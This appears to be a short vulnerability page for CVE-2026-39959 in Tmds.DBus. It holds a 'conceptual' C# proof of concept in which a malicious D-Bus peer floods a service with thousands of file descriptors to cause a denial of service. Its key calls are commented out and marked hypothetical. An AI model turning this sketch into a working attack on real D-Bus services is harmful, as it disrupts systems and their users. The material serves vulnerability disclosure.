CVE-2026-39959 Tmds.DBus 拒绝服务漏洞

// Conceptual PoC for CVE-2026-39959: Resource Exhaustion // This C# code demonstrates how a malicious peer on the D-Bus bus // might attempt to send a message with excessive file descriptors // to crash or exhaust resources in a vulnerable Tmds.DBus application. using System; using System.Threading.Tasks; // Hypothetical usage of Tmds.DBus namespace MaliciousDBusPeer { class Program { static async Task Main(string[] args) { Console.WriteLine("[+] Starting malicious D-Bus peer..."); // Simulate connection to the Session Bus // var connection = new Connection(Address.Session); // await connection.ConnectAsync(); // Target a vulnerable service // string targetService = "org.vulnerable.Service"; // Attack Vector: Send message with excessive File Descriptors // int excessiveFdCount = 10000; // var fds = new System.IO.FileStream[excessiveFdCount]; // In a real scenario, we would open dummy files to get FDs // for(int i=0; i<excessiveFdCount; i++) { // fds[i] = File.OpenRead("/dev/null"); // } // try { // // Send the malicious payload // // await connection.SendSignalWithFdsAsync(targetService, "/org/vulnerable/Object", fds); // Console.WriteLine("[!] Malicious payload sent successfully."); // } catch (Exception ex) { // Console.WriteLine($"[-] Attack failed: {ex.Message}"); // } } } }